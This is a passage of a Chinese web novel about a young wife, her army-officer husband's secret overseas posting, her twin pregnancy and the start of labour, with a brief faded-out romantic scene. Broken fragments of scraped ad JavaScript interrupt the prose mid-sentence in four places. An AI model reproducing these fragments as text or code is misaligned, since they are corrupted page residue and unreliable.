唯一值得操心的是人情往来。只是符伊年的同学朋友们都是才毕业不久的年轻人,个个忙着拼搏,短时间内还没人给她寄“红色炸弹”。 而祝镕,他是他那帮发小同学里成家最晚的一个,其他人连孩子都生了,各自有各自的生活圈子,加上祝镕不在京城,来往其实并不多。 所以,符伊年的周末通常是在家看书看电视,有时候也会去图书馆或者逛街,总之能自己找到乐子。 当然,这是祝镕不在家的时候。 不是有那么个例子嘛:小孩子跌倒,家长不在的时候他/她会自己爬起来,也不一定会哭;若是家长在身边,甚至表现得非常心疼,那孩子可能就回哭闹不休。 所谓“会哭的孩子有糖吃”就是这个道理了。 放在符伊年身上也是这个道理,祝镕不在身边,符伊年可以很从容地安排自己得时间,不过既然祝镕回来了,当然不用这么“委屈”自己啦。 祝镕也是同样的心理,没条件也就罢了,有了条件当然不要将就,所以这一整天,两人都是形影不离。 主要是祝镕,一直跟在符伊年身后,她去泡茶他也去倒水,她去拿零食他就帮忙撕包装,总之除了上厕所,祝镕就一直跟着她。 容院长看着他这一举一动,不忍用“跟屁虫”来形容自己的儿子,想到最近从医学杂志上看到的一个叫“连体婴”的名词,用来形容这小两口倒是比较贴切。 祝镕自是不知容院长的吐槽和形容,他正和符伊年商量着晚上吃饺子,“正好全家都在,就当我俩一起孝敬长辈。”说着压低声音在她而别补充,“客厅人太多,我们去过二人世界。” 前面那句听着还比较像话,听到后面那句符伊年就开始翻白眼,推了祝镕一把,谁家过二人世界在厨房过啊。 不过最终还是听了祝镕的话,俩人去厨房包饺子了,祝镕不愧是在炊事班待过一段时间的,饺子馅儿调味调得非常好,和面揉面的活计也十分熟练,水和面的配比非常好,揉出来的面又光滑又筋道。 符伊年于这两项都不精通,只在一边看着,一面欣赏祝镕露在短袖外面硬实的肱二头肌,随着他揉面的动作鼓起又松弛、鼓起又松弛。 符伊年突然脸红了起来。 祝镕注意到,疑惑地看她,“是不是厨房太热了?要不你出去吧?我自己包就行了。” 已经是六月底快七月了,已经是盛夏,厨房又是西晒,下午确实比较热。 符伊年已经从胡思乱想中回了神,很快就好了,眼角余光瞥到了墙角的冰箱,“吃根雪糕就好了。” 祝镕:……“分我一半吧。” 符伊年无所闻,其实她并不怎么热,因此咬了第一口之后就将雪糕递到祝镕嘴边,然后雪糕就没有然后了。 符伊年看看手里光秃秃的雪糕棍,再看看腮帮子都鼓起来的祝镕,转头跑去了客厅门口,“妈!祝镕抢我雪糕!”说着还把雪糕棍给容院子看。 姑婆说趁天气好把旧毛衣拆了毛线洗了打算重新织,容院长正跟她一个拆毛线,听到符伊年告状,头都不抬,手里继续拽毛线,“那你打他。” “好嘞!”符伊年答应着,闪身回了厨房。 姑婆抬眼看了看厨房的方向,再看了看容院长,笑起来,“你这哪是当婆婆的,你这是亲妈。” 容院长却突然叹了一口气,“到底是亏欠了人家姑娘,对着好一点总没错。” 听话听音,姑婆觉着容院长话里有话,不禁多看了她一眼,但是没多问。 晚饭就是符伊年和祝镕包的饺子,祝镕擀皮符伊年包的,个个皮薄馅大元宝一样。符伊年和祝镕不仅包了一百多个饺子,不过因为家里人多,符伊年觉得不够吃,又蒸了一锅米饭,加上黄瓜拌拉皮、一盘卤牛肉、蒜泥粉丝扇贝、麻婆豆腐四个菜,摆了满满一大桌。 祝军长还开了一瓶茅台。不过赵振华和李九江以晚上要值班婉拒了,最后就是祝军长和祝镕两父子一起对酌。 符伊年看他们兴致好,也有些嘴馋,跑去把放在厨房柜子里的一瓶红酒拿了出来,要和姑婆、容院长还有钱招娣一起喝。 钱招娣虽然晚上不用值班,但是她不会喝酒,而姑婆觉得红酒没意思,还是茅台比较醇香有劲,也不肯和她们一起。于是,姑婆、祝军长和祝镕一起喝了一瓶茅台,符伊年和容院长则分饮了一瓶干红。 最后,祝家三人不必说,大概是祖传的好酒量,容院长也没事,甚至有些意犹未尽,只有符伊年,半瓶不到的红酒,就有些醉醺醺。 祝镕看她昏昏欲睡的模样,放下酒杯将人抱起来送回卧室,替符伊年换了睡衣,又擦了手、脸,等人睡熟了,自己这才去浴室洗了一把脸,重新回去餐厅。 姑婆和容院长已经不在这儿了,只剩祝军长一个人一边就着蒜蓉再吃饺子。 祝镕在祝军长旁边坐下,也拿起筷子吃了起来。父子两人就这么沉默着将餐桌上剩下的饺子、热菜、冷盘全吃光了,然后同时起身将盘子摞起来端去水槽清洗。 祝镕在洗碗布上挤了些洗洁精挨个将餐具擦去油污,祝军长则开了水龙头开始清洗泡沫,两人一个擦一个冲,动作十分默契,一看就是做过很多次。 水龙头开得大,水柱哗啦啦将餐具上的泡沫冲走,从下水道流走,从窗外看的话,只能看到父子两人在做什么,并不能听到他们的对话。 厨房里,祝军长一边清洗一边问祝镕:“还没和你媳妇说?” “嗯,”祝镕手下动作没停,苦笑了一下,“不知道怎么说。” 祝军长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 默了一下,也很理解祝镕的心情,当初祝镕才出生他就去了朝鲜战场,也是最后不得不讲的时候才同容院长说的,倒不是怕家属阻拦,而且心有愧疚,说不出口。 不过,“还是早点说吧,别和前几年去南疆的时候似的,人都到了还不告诉人家。”那个时候还没结婚,算是情有可原,如今若是再有欺瞒,以年年的性子,只怕要糟。 祝镕也想到了这一点,笑容更苦了,但还是心存侥幸,“爸,就这么确定一定有我了吗?万一落选呢?总不能这一百多号人都过去吧?” 祝军长“哼”了一声,“一百人?两百人只是高级官员,负责和上层交涉的,其他的中层管理和执行还有一部分人。” 祝镕手上的动作一顿,“这项目规模还真是挺大的啊。我们开价多少?” 祝军长伸手跟他比了个“V”,“这个数。” 祝镕:“人民币?” 祝军长:“刀乐。” “嚯,”祝镕感叹,“不愧是‘头顶一块布,全球我最富’,豪横!这么多钱,够国内办成很多事了吧?” 祝军长笑而不语,这才第一回,以后这种交流项目会越来越多的。 接下来的一段时间,祝镕一直没找到机会同符伊年讲他接下来的工作安排。因为他到了通知上指定的会议地点后,被告知接下来的一段时间——也许几周也许几个月——将进行封闭性训练,而他们每个人只有一分钟的时间打电话通知家人。 符伊年得到消息,最开始是惊讶,然后是郁闷,后来是释然,接着依然按部就班地上班下班。 她的想法很简单,只要知道他平安就好。 之后的一个月,符伊年都再没有收到祝镕一言一语的消息,她有时候焦躁得不行,只好同祝军长打听,当然是得不到答案的。 后来符伊年学乖了,不直接问了,换了一种旁敲侧击的方式,比如八月的时候正好是三伏天,京城却突降暴雨,符伊年会问在祝军长上班出门的时候问要不要多带一把伞;比如到了“十·一”时京城本是金秋,却突然大风降温,符伊年会问祝军长要不要带一件毛衣。 时间慢慢推移,十一月过去,十二月来临。 这天晚饭的时候,符伊年吃着吃着,突然说了一件事,“最近路上好多波斯人啊,是有什么外事活动吗?” 说这话的时候,她一直在观察祝军长和容院长的表情和动作,毫不意外地看到他们动作顿住、嘴角微僵,不禁叹了一口气。 祝军长想看了眼自己的妻子,放下筷子同符伊年解释,“祝镕本来想着确定后再说,但是没想到培训变成封闭式的了。” 话音才落,看向突然出现在餐厅门口的人,惊讶道:“你怎么回来了?” 符伊年转身,看到祝镕正站在餐厅门口,身上是板正的军大衣,军帽端端正正地戴在头上,灯光照映下,国徽闪耀。 祝镕嘴角微翕,似乎想说什么。 符伊年用力吞咽了一下,起身拿了一副碗筷,装了一碗饭放到旁边,也没说是给谁的,只吐出两个字,“吃饭。” 135. 出国 第一三五章 符伊年一句“吃饭”,像是按下了祝镕身体行动的开关,总算有了动作。 脱掉大衣摘掉帽子挂到门后的衣架上,祝镕在符伊年旁边的椅子上坐下,拿起筷子之前先看了符伊年一眼。 符伊年正端着碗吃饭,表情认真,仿佛那是什么美味。 祝镕抬眼看向对面的祝军长和容院长,这老两口不约而同地撇开了眼神,不肯跟他对视。 祝镕想了想,夹了一筷子符伊年喜欢的五花肉煸四季豆到她碗里,“别光吃饭,吃菜。” 符伊年扒饭的动作顿了一下,把四季豆吃掉,五花肉拨到了一旁去。 “肉菜饭都要吃,别挑食。”祝镕不赞同地说到。 祝军长和容院长对视一眼,各自都在对方的眼里看到同样的想法:咱儿子怎么突然变笨了? 一直看着的姑婆无奈地摇摇头,起身,“哎呀,七点了,我要去看新闻了。” “姑,我和你一起。”祝军长立即起身,扶住了姑婆一侧的手臂。 容院长也起身,跟着他们往外走,走了两步又停下,回头看向符伊年和祝镕,“吃完洗碗啊。” 祝镕刚要答应,就看见符伊年放下饭碗,声甜甜,“哎,知道了妈妈。” 祝镕不得已,把已经到嘴边的话又吞了下去。 也不知道是符伊年吃饭细嚼慢咽,还是祝镕吃得太快,反正几乎符伊年刚放下筷子,祝镕也吃完了。 符伊年瞥一眼他的饭碗,撇嘴:吃得不少嘛,食欲丝毫不受影响。 饭后,祝镕当然没有让符伊年动手,自己将桌子清理干净、餐具清理干净。符伊年倒也没有提前离开,就站在水池旁边,双手抱臂,看祝镕洗碗。 偶尔开口提醒他一句“碗底冲一下”“盘子侧面”,祝镕都十分听话地按她的提醒冲洗、冲刷。 厨房的卫生搞完,祝镕带上大衣帽子,拉住符伊年的手,要带她回房。 符伊年挣了一下,没挣脱。 祝镕摩挲着她的手背,“别闹,姑婆和爸妈在正厅呢。” 餐厅和正厅只有一墙一门之隔,不过餐厅还有另外的门通向外面,祝镕就拉着符伊年避开正厅,从那道门离开,回了东厢。 进了东厢房的门,符伊年不用再顾及长辈,立刻用力甩开祝镕的手,快走了两步进了内室,正要回身将门关上,就被一道力量阻拦住了。 “我错了!”祝镕隔着一条门缝,十分干脆地开口,“别生气!我错了!” 符伊年用力抵住门,“错哪儿了?” “哪儿都错了!”祝镕不是敷衍,他完全是不要脸,“可是再错,八块腹肌总没错吧?我一月一号就要走了,再不摸可就没机会了。” 符伊年被祝镕着不要脸给搞得啼笑皆非,手臂一松泄了力气。祝镕感受到抵门的力道撤了,立即推开门进了内室。 “我错了。”祝镕一进来就立即抱住了符伊年,“错在不够坦诚、自以为是,忽略了你的感受,别生气了好吗?我保证,绝对没有下一次了。真的,再有下次……” “闭嘴吧。”符伊年止住的话头,抬手捏住祝镕的耳朵,往两边扯了扯,“你说的,没有下次了。” 祝镕一只手臂搂着符伊年的腰,一只手臂举起来竖起三根手指,“没有了,绝对没有了,下次只要能说,我一定第一时间跟你说。” 符伊年哼了两声,表示:这还差不多。 祝镕抱着她,脸埋在符伊年的颈窝,嗅着她身上的玫瑰沐浴露的香气,正想说些什么,就感觉有他的衬衣下摆被拽了出来,然后一只手覆在了他的小腹上。 祝镕握着符伊年的肩膀,将人从自己怀里拉开一点点,“你在干什么?” 符伊年眨眨眼,一脸无辜,“是你说的嘛,不要辜负腹肌。”说着竟然还用手指像弹钢琴似的点了点,“八块呢!” 随着她的动作,祝镕猛地吸了一口气,按住她作乱的手,“欠收拾了你!”说着将人像拔葱一样抱起来压倒在炕上,一手还不忘关掉灯的开关…… “这么说,你至少还能在家待一周?”清理过后,躺回床上的符伊年找回些精神,头枕着祝镕的手臂,心里默默计算了一番,问道。 祝镕放在她后背的手微微一顿,苦笑,“没有那么久,就两天。二十五号有个圣诞晚宴,要招待对方官员,之后还有些其他的琐碎事务。” 符伊年就知道不会有那么好的事,不算意外也说不上失望,“去几年?” 说到这个问题,祝镕更觉得喉咙发堵,“五年。” “五年?”符伊年皱着眉头,这个数字怎么这么熟悉? 撇去心头的疑云,符伊年只问自己关心的事情,“这么久,工作很难吗?中间能回国探亲吗?或者我能去也行,应该可以家属探望吧?” 中间回来是不太可能回的,出国探望的话,“应该可以打申请,现在还不知道。”祝镕也挑着能说的回答一些。 “工作难不难的,哪有工作是容易的,更何况出国。”祝镕拍拍符伊年的后背,安抚她,“不用担心,是他们来请我们帮忙的,至少肯定不会为难。” 符伊年低低地“嗯”了一声,过了片刻,又问:“要带些什么东西吗?衣裳肯定不用了,日用品呢,对了,防晒霜得多带些,黑不黑的,别晒伤了,还有吃的,也不知道吃不吃得惯,也不知道现在有没有‘老干妈’,明天得去菜市场看看,还有药,发烧的、拉肚子的、胃痛的、感冒的、去火的……哎呀,我得找个笔记本记下来!” 说着就要从被窝里出去下炕找笔和纸。 祝镕刚开始听见她絮絮叨叨还想说些用不着、她不用操心的话,后来发觉其实符伊年是在用这种方式排解心中的忧虑,干脆闭上嘴听着,想着她明天理智回归就好了。 哪知道符伊年说着说着竟然就要起身去找纸笔列清单。 幸亏祝镕眼疾手快地按住她,又把已经掉到符伊年腰间的被子拉上来盖到她肩头,掖好,“小心些,别闪了风。” 被祝镕这么一按一说,符伊年枕在他胳膊上,安静了下来,祝镕正在奇怪怎么不说了,就感觉到自己手臂突然有湿意,冰冰凉凉的。 祝镕一愣,接着意识到这是什么,也不禁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 红了眼睛,他翻个身和符伊年面对面侧卧,将人搂在怀里,手心贴在她后背上,轻轻摩挲着,没有一丝暧昧情欲,只有无尽的怜惜和心疼。 眼见着胸口和手臂上的水痕没有停止,甚至还越来越多,幽幽的呜咽声也有变大的趋势,祝镕长吁一口气,手掌轻轻一推,符伊年就从侧卧变成了平躺,朦胧泪眼就这样暴露在祝镕面前。 “别看。”符伊年抬起手臂遮住自己的眼睛,声音喑哑。 祝镕却将她手臂拿走,慢慢俯下了身子。 符伊年看着越来越近的脸庞,眼皮颤了颤,闭上了眼,几乎是同时,祝镕的吻落在她眼皮上。 第二天倾城,符伊年坐在梳妆台前看着自己肿得只剩一条线得眼睛,转身将手里的梳子扔到还在半靠着床头坐的祝镕身上,“混蛋呐!” 祝镕手忙脚乱地接住梳子,讪笑着起身来到她身后,“别气别气,我去给你拿个煮鸡蛋滚一滚,好不好?” 说完不等她答应,就去了餐厅,等他拿了两个热乎乎的煮鸡蛋过来,符伊年仰起头闭着眼,命令道:“滚。” 祝镕愣住了。 符伊年闭着眼睛等了半天,不见有热鸡蛋落在眼皮上,不禁睁开眼,只见祝镕握着两枚鸡蛋站在面前,一脸呆愣。 “你干嘛呢?”符伊年奇怪地问,“快点啊。” “哦。”祝镕犹豫着,用手绢把鸡蛋包住,递给符伊年。 符伊年更奇怪了,“给我干嘛?你罪魁祸首不应该你来给我滚眼皮吗?” 祝镕闻言突然一个激灵,“哦哦,你说的是这个‘滚’啊,好好,我来滚我来滚。”说着把两枚鸡蛋怼在符伊年眼皮上。 符伊年:“不然呢?” 祝镕“嘿嘿”笑了两声,心说我当然不会说我误会了以为你让我滚啊。 两天时间很快过去,二十五日下午祝镕穿戴好军装礼服,开车去了人民会堂,参加华国为驼国友人举办的圣诞派对,之后他将继续留在训练基地,直到一月一日当天与其他同事一起,乘坐飞机出国去往驼国。 符伊年只将人送到门口,虽然不舍,但是依然保持着微笑,她希望自己留在祝镕心里的印象,是开朗的是明媚的,免得他在国外一想起她来,就是泪眼朦胧和眉头紧蹙。 祝镕最后将人抱了一下,真准备出门上车,符伊年突然拉住了他的手臂,踮起脚在他脸颊印下一个吻,接着在他胸口上拍了拍,“走吧。” 接下来的几天,符家厨房的炊烟就不曾断过,姑婆和符伊年两个人在厨房里熬制了五斤的辣条和十斤辣酱,所有的辣条都用真空机抽了真空后封好,辣酱也用一斤装的玻璃瓶装好甚至还塑封了。 所以,等到一月一日那天,符伊年和其他军属一起,被送到军用机场去给祝镕他们这批高级军官送行时,其他军属带了不少衣服,也有不少当地特产。 只有符伊年,带了两个纸箱,一箱辣条,一箱辣酱。 别人给自己丈夫/儿子/兄弟说的最后一句话几乎都是:保重/注意安全/我会想你…… 只有符伊年,说的是:少吃,容易上火。 136. 怀孕 第一三六章 祝镕一月一日的飞机启程,当飞机冲破云霄飞上蓝天,符伊年已经转身离开机场,直奔京城公安局出入境管理局。 符伊年要去办护照。虽然出国的机会不多,但是万一呢,若是有了机会去探亲祝镕,却因为证件问题无法成行,那才叫让人后悔。 祝镕走后的第二个月,符伊年在换包的时候发现,自己上个次放的卫生巾还原封不动放在背包的内侧,她这才恍然发觉,已经过去五天了,这个月的例假还没有来。 自从上次春节在西安,她和祝镕说了自己关于职业和生活的规划后,两人就没有再避孕,到现在虽然已经一年,可是两人在一起的日子两只手都数的过来,所以即便没有好消息,无论是他们自己,还是几位长辈,都没有很急的样子。 直到祝镕出国前夕,符伊年依然没什么动静,这时候虽然遗憾、失落,可也没办法了,而且也是符伊年一出机场就去办理护照的原因。 可是谁知奥,峰回路转,竟然再人离开后一一个月,发现有了身孕——额,疑似。 符伊年捂住心口,紧张和激动使得她心跳得厉害,像是在心里揣了一只兔子。可是没有去医院检查过,没有确切的结果,符伊年不敢声张,怕万一是自己误会了,引得长辈们失望。 符伊年本来是想自己悄悄去检查了,有了确切结果再同长辈们讲。而且因为怕没有理想结果,符伊年甚至还避开了容院长工作的地方,去了另外一家医院。 然而,事情有时候就是这么巧。 容院长那天因为联合会诊,刚好就在符伊年去的那家医院。 当符伊年捏着检查报告单,笑不拢嘴地从超声室走出来的时候,刚好遇到和其他几个同事一起下楼来的容院长。 “年年?”容院长一愣,先是诧异她怎么在这里,接着注意到她手上的检查单,正要关心他是不是生病了,就发现符伊年唇边的笑容。 符伊年虽然意外在这里遇到了容院长,可是此时她的心结已经不见了,因此毫不犹豫地就把检查单递给了容院长,“妈妈!” 容院长其实已经隐约地有了感觉,因此神色激动也比较难掩,她接了检查单,看到上面“妊娠40天”的字样后,也笑了出来。 旁边的医生察言观色,又瞄了眼检查单,立刻出言恭喜容院长,容院长很愉快地收下大家的恭贺,甚至好心情地许诺说改天请大家吃饭。 不过容院长还有工作,不能陪符伊年一起离开,不过容院长告诉了符伊年她的司机在楼下,“先让他送你回去,等会儿再过来接我。” 符伊年没有反对,她知道自己这个时候还是要小心些微妙,于是听话地下楼去找容院长的专车。 符伊年怀孕了。 不过她的生活并没有什么变化,也没有什么卧床啊、请假啊,依然每天准点起床上班,也依然认真修改她的论文,最多就是交通工具从公交车变成了小汽车。 小汽车既不是容院长平时上下班的那辆,也不是祝军长的军用吉普,那都是公务用车,符伊年不方便使用。 恰好这个时候,开业三年的“康洁”厂第一次分红了。 “康洁”厂开业已经两年马上就三年了,第一年刚刚打开市场,分红又投入到生产中去;第二年销量不够理想,虽然有盈利但是不多;到了第三年,因为搞了几次促销活动,又在报纸、电台刊登了广告,逐渐打开知名度,盈利也多了起来。 柳旻听说符伊年怀孕了,特意从漂亮国买了很多孕妇用品,连带着八万多的分红,和妻子一起给符伊年送了过来。 于是符伊年就决定买一辆小轿车。 这个时期的华国,经济已经发展起来,人民也富裕起来,万元户如雨后春笋不断地冒出来,因此买得起小轿车的人家也越来越多。 这个时期个人买车,最多的是一款被称为“小土豆”的波兰小车,符伊年也去看过,不过她觉得这款车子太局促了,开起来不够通透。 柳旻得知她要买车,提议可以买沃尔沃。这款车子是进口车,贵是贵,“安全性能好。” 符伊年看了图片,依然不喜欢,“四四方方的,像个那什么。” “那什么”是什么她没有明说,但是柳旻自动发散思维,居然觉得她说的有道理。 最后挑来挑去,挑了一款宝石蓝的大众golf,贵是贵了点,但是无论外形还是性能,都是符伊年喜欢的,而且德系车辆,安全保障还是不错的。 不过,符伊年并不打算将车开进单位。 虽然这个时候,公务人员的工资已经又涨过一次了,可是大部分同事的交通工具依然是自行车,也有人买了摩托车骑,但是个人的、非公务的小汽车,符伊年还真是头一个。 符伊年倒是不怕被人说,可是挂在别人舌尖上总不是一件开心的事,尤其还有那句话“出头的椽子先烂”,低调点总不是坏事。 所以符伊年只是叮嘱钱招娣,将车停在离单位门口不行五分钟的地方就行了,剩下的几步路她走过去就好——适当锻炼也是很必要的。 符伊年怀孕,最开心最激动的人是姑婆。问过符伊年怀了多少日子后,姑婆捏着手指算了算,算出预产期要在今年的十月左右。 “虽然还没冷,可也是秋天了,”姑婆给符伊年和容院长计算着,小被子小褥子、单衣夹袄都得做起来了,出了满月差不多就是冬天了,厚衣裳也要准备,“我明天去商场买棉花和布。” 说着摇了摇头,“早知道你今年怀孕,那些布票我就全买了棉布给孩子做被褥做衣裳好了,结果全送回老家了。” 改革开放之后,国内布匹纺织企业快速发展,逐渐摆脱了堆进口原料的依赖,化纤布料自主生产加大。 虽然棉花产量也在逐年增加,可是相比之下还是化纤布匹更多更便宜一些。于是新年的时候上头决定在全国内逐步取消布票的的决定。 祝家三代一共五口人,人人都是京城户口,每个月都有布票可领。但是,祝军、容院长和祝镕都是军人,从头到脚、从里到外都是国家在管,符伊年赶时髦买衣服的时候多,甚至还经常买衣服给姑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 婆,导致一大家子人布票根本用不完。 布票是有使用期限的,用不了就作废了,于是通常都是拿给祝军长老家的人用,符伊年偶尔也会给五叔爷爷等人捎去一些。 所以姑婆此时就不禁有些后悔。 符伊年看了就劝她没有关系,“再买就好啦,而且布票能买的布料款式有限,都是些蓝黑棉布,不好看呢。” 姑婆想了想,觉得她说的也有道理,“小娃娃确实要用写鲜嫩颜色比较好一些。” 而符伊年却在想,幸亏姑婆没有说买布回来做尿布,不然她还真不知道要怎么劝呢。 符伊年是打算给孩子用纸尿裤的,既卫生又方便,“康洁”厂也有生产纸尿裤的计划。只不过这个时候的人们对纸尿裤的接受程度比卫生巾还低。 使用卫生巾的女性多数都接受了高等教育,带孩子的却多是五十几岁的奶奶姥姥,这个年纪的人观念还没那么新,除了价格她们无法接受之外,很多人觉得纸尿裤不透气,“会捂成红屁股”。 祝镕是在除夕当晚得知符伊年有了身孕的。确切地说,国内是晚上,而他那里因为时差的缘故,要比国内晚六个多小时,此时还是黄昏。 后来祝镕回忆说,符伊年一句“你搞出人命了”,把他吓个半死,以为家中出了什么事,等知道符伊年有了身孕,整个人又十分惊喜,激动地半天说不出话,过了很久才找回舌头似的,一叠声地问符伊年是怎么样的感受。 “累不累啊?痛不痛?听说会吐,你感觉怎么样?有没有什么想吃的?孩子听不听话?有没有踢你?” 符伊年在电话这头直翻白眼,“才两个多月,他/她现在还是颗豆芽,踢不到我的。你担心的有点早。” 祝镕“哦”了医生,然后在心底算了算,“十月生?也挺好,不冷不热,大人孩子都舒服。” “哟,你还会算预产期?”符伊年惊讶地道,“这么牛啊。” 祝镕“嘿嘿”笑两声,“我不会算,但是我听说过那句话,‘怀胎十月,一朝分娩’。” 祝镕这话不能说错,但也不是完全对,一般来说“足月生产”是指在第36周到42周之间,也就是其实满九个月就算足月了。 至于祝镕问的符伊年有没有孕吐…… 也不知道祝镕算是预言家呢,还是乌鸦嘴了,反正除夕一过完,大年初一早上开始,符伊年就开始吐了起来。 常言说“初一的饺子初二的面”,大年初一的早上,姑婆包了三种馅料的饺子,分别是羊肉大葱、牛肉白菜和猪肉酸菜。 祝家历来春节煮饺子,第一锅都是煮羊肉大葱馅的,寓意为:扬眉吐气。 符伊年如往常一样,夹了饺子吃。 然后,就开启了她的孕吐之难。 接下来的两个月,符伊年是吃了吐、吐了再吃,每吐一次就要骂一句祝镕,那两月里,祝镕经常耳朵红红,还经常打喷嚏,好在他不发烧不头痛没有其他任何症状,军医只能归结于“水土不服”。 谁也想不到,其实是“孕妇不服”呢。 137. 名字(正文完结) 第一三七章 符伊年怀孕到四个月的时候,孕吐突然就神奇的消失了。 从此以后她就是吃啥啥香,而且一天最少能吃四次:早午晚三顿饭不算,睡前还要来一顿夜宵。 而且平时零食不断,什么坚果、水果、甜点,不能说时时刻刻不离手,但是翻翻她办公室的抽屉,总能找到一两样。 怀孕到第五个月,容院长盯着符伊年的肚子皱眉,“你去产检,医生有说什么吗?” 符伊年正在吃苹果,听到容院长的文化停下来,疑惑,“说什么?” “说让你少吃一点,”容院长提示道:“你这肚子,是不是太大了些?” 符伊年啃一口苹果,嚼嚼嚼,吞下去,“没有啊,说让我正常吃就行了,两个呢,怕吃少了孩子长不好。” 话音才落,容院长和姑婆同事惊叫起来,“两个?!” 姑婆甚至从沙发上跳起来,来到符伊年身边坐下,手放到她肚子上方,将触不触的,惊讶之色还停留在脸上,“你是说你怀了俩?” 符伊年一脸的理所当然,“啊,我没说吗?” “你啥时候说了?!”姑婆想板着脸训一句,却怎么也压抑不住脸上的喜悦之情,到底还是没说下去。 符伊年转头看向容院长。 容院长当然很开心,笑得都要合不拢嘴了,“起码半个月了,你就一点都没想起来?” 符伊年摇头,也是茫然,“我记得我同你们讲过了啊。” 容院长见此,知道她真的是彻底忘了,腹诽了一句“一孕傻三年”,开始询问她医生都叮嘱了什么。 “没有别的,就正常吃喝,按时产检,保持身心愉快,”符伊年想了想,“嗯,没别的了。” 容院长点点头,表示知道了,转身却拿起电话打到了妇产科主任那里去了。符伊年确定怀孕后再产检就不在离家比较远的那所医院了,而是去到了容院长所在的医院,一来是因为离家近、方便,二来是容院长在那里,工作人员多少会照顾几分薄面,对她多关照一些。 此时不就用得上了。 容院长和妇产科主任寒暄了两句,转到了正题上去,询问符伊年怀双胎所需要的注意事项,“这不是两家都没有怀过双胎的,没经验。你是专业人士,知道的比我多。”说完像是解释似的又说了句,“这孩子,也不知道是真‘一孕傻三年’,半个月过去了,今天我看着肚子比正常五个月的大,她才说起来是双胎。” 妇产科主任了解容院长,知道不可能是她不关心或者苛待孕妇,那就是说的是真的,孕妇给忘了跟她说,也笑呵呵地附和了几句,“小孩子不懂,可不得咱们这些大人多管着些。” 然后告诉容院长一些注意事项。容院长听了,发现和符伊年说的没什么区别,只有一项,符伊年没提到,怀双胎要比单胎容易提早生产,不过主任说了,孩子都是长成了的,到了八个月左右就少吃点吧,孩子太大了大人遭罪。” 容院长一一记下,对主任谢了又谢,这才挂掉电话,“听见没有,让你孕后期少吃……” 容院长转过头来正想叮嘱符伊年一些,一转头,发现人已经歪在沙发上睡着了,姑婆正动作轻巧地扶着人躺平了,容院长赶紧捡了一个抱枕塞在她脑后,又盖了张毯子给她,两人这才轻手轻脚地离开客厅,去了厨房。 怀孕六个月,虽然已经有明令禁止探查胎儿性别,妇产科主任还是透露了一句“龙凤胎”。不过,无论是姑婆还是祝军长、容院长——祝镕不在家,已经被忽略了——对孩子性别并不在意,只是之前做的包被、小衣等物品都是只有一份,现在自然要再准备一份。 得知符伊年怀了双胎,柳家父子亲自过来恭贺了一次,又带来不少的补品,甚至还有一辆专门给双胞胎用的推车——之前送了一辆单人的,如今当然不够用了。 临告辞前,柳贺燕看着符伊年比寻常大了很多的肚子,嘴角翕动了两下,最终也没说什么,符伊年虽然看见了,但也只当没看见。 她大概明白柳贺燕的想法,但是并不准备挑破。叶氏又不是真的没人了,只不过举家迁往南洋罢了,怎么都轮不着自己的孩子姓叶——她还想让一个孩子姓符呢。 得知符伊年怀了双胎,祝镕更是兴奋,接着又担忧起来,怕怀两个累到符伊年,忙不迭地问她感觉如何,会不会不舒服,有没有什么想吃的。 符伊年自然说一切都好。其实她是想着同祝镕叫叫苦的,话都到舌尖了,又没有说。说了有什么用呢,只能让他远在国外还要牵肠挂肚着国内。 再说了,祝镕不是那种不说他就不懂的人,不然也不会将一周一次的通话变成了一周两次,每周三周日固定在晚上八点钟时打过来,每次通话最少要十分钟,也不说自己的辛苦也不问符伊年怀孕的难处,只乱七八糟的随便聊,说一说八卦聊一聊风土人情。 但是,其实两人都心知肚明地知道彼此的辛苦、困难,也心照不宣地表达着彼此的牵挂和忧心。 符伊年的预产期最开始算的是十月七日,不过她是双胎,妇产科主任重新检查过后,推测要提前个一两周,所以要是快的话,可能九月二十几日就要分娩了。 随着胎儿一日大过一日,符伊年在第三十四周的时候就打了申请回家休产假了,领导接了她的申请立即松了一口气——这么大的肚子,实在是怕她把孩子生在单位。 休产假的第尔天,符伊年就被姑婆和容院长簇拥着送进了医院妇产科待产。 符伊年不想去。这个时候的医院,就算是干部病房,也很简单,连台电视机都没有,多没意思啊。而且四合院离医院很近,开车十分钟都用不了,她觉得没有必要。 姑婆本想好好劝,容院长就果断多了,“你是医生我是医生?不许任性!”接着又哄劝她,“别害怕,晚上我陪着你,现在妇产科技术好多了。” 是的。符伊年其实是在害怕。以前都说女子生产是鬼门关,可见怀孕分娩是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 件多么凶险的一件事,即便现代医学发达,但是分娩时依然会有很多难以预料的意外。 “妈,”符伊年握住容院长的手,“人家要是问你保大保小,你要保小啊。”说着说着,竟然泪眼朦胧了。 姑婆在一旁看了,这才明白符伊年在忧心什么,也不禁红了眼圈,将头偏过去。 “胡说什么,”容院长被符伊年气笑了,“月月产检结果都很好,大人孩子都没有问题,不存在保大保小。大小都会平安的。” 容院长说着瞥了一眼符伊年手边的那本《梅花烙》,“这位琼女士的书还是别看了,她自己立身不正,写的书也总是多愁善感,难怪你总是东想西想。” 符伊年讪讪地笑了。 容院长连哄带训的,总算第二天把符伊年送进了产科病房,用的是祝军长的名额,这样才能住套房。 军医院的病房也是分职级的,若是以祝镕的团级职称住院,只能住个双人间,到时候产妇、孩子、陪护一大堆,吵吵闹闹的,休息不安宁。 用祝军长的名额就不一样了,可以住套房,不仅有病床和陪护床,外面还有一间客厅,既能接待访客,还有电源可以带电饭锅和电水壶来热饭、烧水。 符伊年是在九月二十五日晚上发作的。当第一波疼痛来临时,符伊年没有紧张。之前妇产科主任之前就教过她,胎动和临产阵痛的区别,此时她只感受了一下,就发觉这次不是胎动,是产前阵痛。 这天晚上轮到姑婆陪护,符伊年往陪护床上看了一眼,没有出声,姑婆才睡了五个小时,自己也还没到非进产房不可。 符伊年深呼吸,按主任教的那样数阵痛的时间和频率。当阵痛时间越来越长,频率也越来越快时,她才将姑婆叫醒。 